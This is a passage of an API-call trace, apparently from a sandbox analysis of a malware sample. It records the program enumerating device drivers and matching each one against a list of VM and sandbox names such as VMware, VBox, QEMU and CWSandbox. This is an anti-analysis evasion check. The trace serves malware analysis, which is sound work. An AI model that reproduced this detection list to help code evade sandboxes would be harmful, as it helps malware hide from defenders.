lpSrch="VMware Pointing") returned 0x0 [0282.557] lstrlenA (lpString="VMware Pointing") returned 15 [0282.557] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0282.557] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef948 [0282.557] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="VMware Accelerated") returned 0x0 [0282.557] lstrlenA (lpString="VMware Accelerated") returned 18 [0282.557] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0282.558] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa20 [0282.558] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="VMware SCSI") returned 0x0 [0282.558] lstrlenA (lpString="VMware SCSI") returned 11 [0282.558] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0282.558] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb40 [0282.558] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="VMware SVGA") returned 0x0 [0282.558] lstrlenA (lpString="VMware SVGA") returned 11 [0282.558] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0282.558] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb58 [0282.558] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="VMware Replay") returned 0x0 [0282.558] lstrlenA (lpString="VMware Replay") returned 13 [0282.558] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0282.558] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef948 [0282.558] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="VMware server memory") returned 0x0 [0282.558] lstrlenA (lpString="VMware server memory") returned 20 [0282.558] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0282.559] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa08 [0282.559] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="CWSandbox") returned 0x0 [0282.559] lstrlenA (lpString="CWSandbox") returned 9 [0282.559] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0282.559] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efae0 [0282.559] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="Virtual HD") returned 0x0 [0282.559] lstrlenA (lpString="Virtual HD") returned 10 [0282.559] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0282.559] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef768 [0282.559] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="QEMU") returned 0x0 [0282.559] lstrlenA (lpString="QEMU") returned 4 [0282.559] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0282.559] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb40 [0282.559] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="Red Hat VirtIO") returned 0x0 [0282.559] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0282.559] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0282.559] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb88 [0282.559] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="srootkit") returned 0x0 [0282.559] lstrlenA (lpString="srootkit") returned 8 [0282.559] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0282.559] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb70 [0282.560] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="VMware VMaudio") returned 0x0 [0282.560] lstrlenA (lpString="VMware VMaudio") returned 14 [0282.560] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0282.560] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efa38 [0282.560] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="VMware Vista") returned 0x0 [0282.560] lstrlenA (lpString="VMware Vista") returned 12 [0282.560] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0282.560] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0282.560] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="VBoxVideo") returned 0x0 [0282.560] lstrlenA (lpString="VBoxVideo") returned 9 [0282.560] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0282.560] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb28 [0282.560] StrStrIA (lpFirst="High Definition Audio ????", lpSrch="VBoxGuest") returned 0x0 [0282.560] lstrlenA (lpString="VBoxGuest") returned 9 [0282.560] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0282.560] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0282.560] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.561] GetLastError () returned 0x7a [0282.561] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x20) returned 0x26ef908 [0282.561] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x10, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0282.561] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef888 [0282.561] StrStrIA (lpFirst="HdAudAddService", lpSrch="vmxnet") returned 0x0 [0282.561] lstrlenA (lpString="vmxnet") returned 6 [0282.561] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0282.561] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef888 [0282.561] StrStrIA (lpFirst="HdAudAddService", lpSrch="vmscsi") returned 0x0 [0282.561] lstrlenA (lpString="vmscsi") returned 6 [0282.562] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0282.562] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7e8 [0282.562] StrStrIA (lpFirst="HdAudAddService", lpSrch="VMAUDIO") returned 0x0 [0282.562] lstrlenA (lpString="VMAUDIO") returned 7 [0282.562] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7e8 | out: hHeap=0x2670000) returned 1 [0282.562] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef738 [0282.562] StrStrIA (lpFirst="HdAudAddService", lpSrch="vmdebug") returned 0x0 [0282.562] lstrlenA (lpString="vmdebug") returned 7 [0282.562] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef738 | out: hHeap=0x2670000) returned 1 [0282.562] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef818 [0282.562] StrStrIA (lpFirst="HdAudAddService", lpSrch="vm3dmp") returned 0x0 [0282.562] lstrlenA (lpString="vm3dmp") returned 6 [0282.562] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef818 | out: hHeap=0x2670000) returned 1 [0282.562] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efbb8 [0282.562] StrStrIA (lpFirst="HdAudAddService", lpSrch="vmrawdsk") returned 0x0 [0282.562] lstrlenA (lpString="vmrawdsk") returned 8 [0282.562] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0282.562] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa68 [0282.562] StrStrIA (lpFirst="HdAudAddService", lpSrch="vmx_svga") returned 0x0 [0282.562] lstrlenA (lpString="vmx_svga") returned 8 [0282.563] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0282.563] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef818 [0282.563] StrStrIA (lpFirst="HdAudAddService", lpSrch="ansfltr") returned 0x0 [0282.563] lstrlenA (lpString="ansfltr") returned 7 [0282.563] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef818 | out: hHeap=0x2670000) returned 1 [0282.563] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef788 [0282.563] StrStrIA (lpFirst="HdAudAddService", lpSrch="sbtisht") returned 0x0 [0282.563] lstrlenA (lpString="sbtisht") returned 7 [0282.563] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef788 | out: hHeap=0x2670000) returned 1 [0282.563] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0282.563] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x38, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0282.563] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.571] GetLastError () returned 0x7a [0282.571] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x4a) returned 0x26ef908 [0282.571] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x25, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0282.619] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efab0 [0282.619] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VMware Pointing") returned 0x0 [0282.619] lstrlenA (lpString="VMware Pointing") returned 15 [0282.620] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0282.620] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef960 [0282.620] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VMware Accelerated") returned 0x0 [0282.620] lstrlenA (lpString="VMware Accelerated") returned 18 [0282.620] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef960 | out: hHeap=0x2670000) returned 1 [0282.620] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb88 [0282.620] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VMware SCSI") returned 0x0 [0282.620] lstrlenA (lpString="VMware SCSI") returned 11 [0282.620] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0282.620] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efac8 [0282.620] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VMware SVGA") returned 0x0 [0282.620] lstrlenA (lpString="VMware SVGA") returned 11 [0282.620] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0282.620] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb28 [0282.620] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VMware Replay") returned 0x0 [0282.620] lstrlenA (lpString="VMware Replay") returned 13 [0282.620] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0282.620] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef960 [0282.620] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VMware server memory") returned 0x0 [0282.620] lstrlenA (lpString="VMware server memory") returned 20 [0282.620] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef960 | out: hHeap=0x2670000) returned 1 [0282.620] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb70 [0282.620] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="CWSandbox") returned 0x0 [0282.620] lstrlenA (lpString="CWSandbox") returned 9 [0282.621] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0282.621] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa50 [0282.621] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="Virtual HD") returned 0x0 [0282.621] lstrlenA (lpString="Virtual HD") returned 10 [0282.621] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0282.621] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef8a8 [0282.621] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="QEMU") returned 0x0 [0282.621] lstrlenA (lpString="QEMU") returned 4 [0282.621] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8a8 | out: hHeap=0x2670000) returned 1 [0282.621] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb58 [0282.621] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="Red Hat VirtIO") returned 0x0 [0282.621] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0282.621] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0282.621] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb58 [0282.621] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="srootkit") returned 0x0 [0282.621] lstrlenA (lpString="srootkit") returned 8 [0282.621] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0282.621] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efab0 [0282.621] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VMware VMaudio") returned 0x0 [0282.621] lstrlenA (lpString="VMware VMaudio") returned 14 [0282.621] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0282.621] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef9f0 [0282.621] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VMware Vista") returned 0x0 [0282.622] lstrlenA (lpString="VMware Vista") returned 12 [0282.622] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0282.622] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efae0 [0282.622] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VBoxVideo") returned 0x0 [0282.622] lstrlenA (lpString="VBoxVideo") returned 9 [0282.622] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0282.622] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efbb8 [0282.622] StrStrIA (lpFirst="Remote Desktop Device Redirector Bus", lpSrch="VBoxGuest") returned 0x0 [0282.622] lstrlenA (lpString="VBoxGuest") returned 9 [0282.622] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0282.622] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0282.622] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.622] GetLastError () returned 0x7a [0282.622] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb58 [0282.622] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb58, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb58, RequiredSize=0x19fe7c) returned 1 [0282.623] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef828 [0282.623] StrStrIA (lpFirst="rdpbus", lpSrch="vmxnet") returned 0x0 [0282.623] lstrlenA (lpString="vmxnet") returned 6 [0282.623] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0282.623] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef738 [0282.623] StrStrIA (lpFirst="rdpbus", lpSrch="vmscsi") returned 0x0 [0282.623] lstrlenA (lpString="vmscsi") returned 6 [0282.623] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef738 | out: hHeap=0x2670000) returned 1 [0282.623] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8c8 [0282.623] StrStrIA (lpFirst="rdpbus", lpSrch="VMAUDIO") returned 0x0 [0282.623] lstrlenA (lpString="VMAUDIO") returned 7 [0282.623] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0282.623] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8c8 [0282.623] StrStrIA (lpFirst="rdpbus", lpSrch="vmdebug") returned 0x0 [0282.623] lstrlenA (lpString="vmdebug") returned 7 [0282.623] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0282.623] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef878 [0282.623] StrStrIA (lpFirst="rdpbus", lpSrch="vm3dmp") returned 0x0 [0282.624] lstrlenA (lpString="vm3dmp") returned 6 [0282.624] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef878 | out: hHeap=0x2670000) returned 1 [0282.624] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb10 [0282.624] StrStrIA (lpFirst="rdpbus", lpSrch="vmrawdsk") returned 0x0 [0282.624] lstrlenA (lpString="vmrawdsk") returned 8 [0282.624] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0282.624] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efaf8 [0282.624] StrStrIA (lpFirst="rdpbus", lpSrch="vmx_svga") returned 0x0 [0282.624] lstrlenA (lpString="vmx_svga") returned 8 [0282.624] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0282.624] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7a8 [0282.624] StrStrIA (lpFirst="rdpbus", lpSrch="ansfltr") returned 0x0 [0282.624] lstrlenA (lpString="ansfltr") returned 7 [0282.624] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7a8 | out: hHeap=0x2670000) returned 1 [0282.624] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef868 [0282.624] StrStrIA (lpFirst="rdpbus", lpSrch="sbtisht") returned 0x0 [0282.624] lstrlenA (lpString="sbtisht") returned 7 [0282.624] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef868 | out: hHeap=0x2670000) returned 1 [0282.624] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0282.624] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x39, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0282.624] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.772] GetLastError () returned 0x7a [0282.772] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1a) returned 0x26ef908 [0282.772] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0282.839] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa38 [0282.839] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Pointing") returned 0x0 [0282.839] lstrlenA (lpString="VMware Pointing") returned 15 [0282.839] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0282.839] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef930 [0282.839] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Accelerated") returned 0x0 [0282.839] lstrlenA (lpString="VMware Accelerated") returned 18 [0282.839] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0282.840] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb88 [0282.840] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware SCSI") returned 0x0 [0282.840] lstrlenA (lpString="VMware SCSI") returned 11 [0282.840] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0282.840] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa08 [0282.840] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware SVGA") returned 0x0 [0282.840] lstrlenA (lpString="VMware SVGA") returned 11 [0282.840] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0282.840] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa80 [0282.840] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Replay") returned 0x0 [0282.840] lstrlenA (lpString="VMware Replay") returned 13 [0282.840] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0282.840] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef930 [0282.840] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware server memory") returned 0x0 [0282.840] lstrlenA (lpString="VMware server memory") returned 20 [0282.840] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0282.840] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26ef9f0 [0282.840] StrStrIA (lpFirst="USB Root Hub", lpSrch="CWSandbox") returned 0x0 [0282.840] lstrlenA (lpString="CWSandbox") returned 9 [0282.840] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0282.840] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efab0 [0282.841] StrStrIA (lpFirst="USB Root Hub", lpSrch="Virtual HD") returned 0x0 [0282.841] lstrlenA (lpString="Virtual HD") returned 10 [0282.841] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0282.841] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef7a8 [0282.841] StrStrIA (lpFirst="USB Root Hub", lpSrch="QEMU") returned 0x0 [0282.841] lstrlenA (lpString="QEMU") returned 4 [0282.841] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7a8 | out: hHeap=0x2670000) returned 1 [0282.841] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efbb8 [0282.841] StrStrIA (lpFirst="USB Root Hub", lpSrch="Red Hat VirtIO") returned 0x0 [0282.841] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0282.841] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0282.841] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa08 [0282.841] StrStrIA (lpFirst="USB Root Hub", lpSrch="srootkit") returned 0x0 [0282.841] lstrlenA (lpString="srootkit") returned 8 [0282.841] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0282.841] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb88 [0282.841] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware VMaudio") returned 0x0 [0282.841] lstrlenA (lpString="VMware VMaudio") returned 14 [0282.841] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0282.841] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb58 [0282.841] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Vista") returned 0x0 [0282.841] lstrlenA (lpString="VMware Vista") returned 12 [0282.842] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0282.842] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa20 [0282.842] StrStrIA (lpFirst="USB Root Hub", lpSrch="VBoxVideo") returned 0x0 [0282.842] lstrlenA (lpString="VBoxVideo") returned 9 [0282.842] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0282.842] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa08 [0282.842] StrStrIA (lpFirst="USB Root Hub", lpSrch="VBoxGuest") returned 0x0 [0282.842] lstrlenA (lpString="VBoxGuest") returned 9 [0282.842] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0282.842] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0282.842] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, 